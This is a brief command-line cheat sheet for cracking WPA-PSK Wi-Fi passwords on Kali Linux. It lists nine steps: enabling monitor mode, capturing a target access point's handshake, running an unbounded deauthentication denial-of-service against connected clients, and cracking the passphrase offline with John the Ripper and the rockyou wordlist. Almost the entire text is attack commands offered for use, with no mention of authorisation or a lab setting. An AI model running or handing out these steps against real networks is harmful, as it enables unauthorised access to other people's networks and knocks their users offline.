Crack WPA-PSK with Kali [Plan B]

1):
airmon-ng

2)Start Monitoring mode:
airmon-ng start wlan0

3):
airodump-ng wlan0mon

4)Capture frames:
airodump-ng --bssid BSSID_OF_AP -c CHANNEL -w FILE_NAME wlan0mon

5)Launch Unauthentication DoS:
aireplay-ng -0 0 -a BSSID_OF_AP wlan0mon

6)Stop Monitoring mode:
airmon-ng stop wlan0mon

7):
aircrack-ng CAP_FILE_PATH -J john

8):
hccap2john john.hccap > wpa

9):
john --wordlist=/usr/share/wordlists/rockyou.txt ./wpa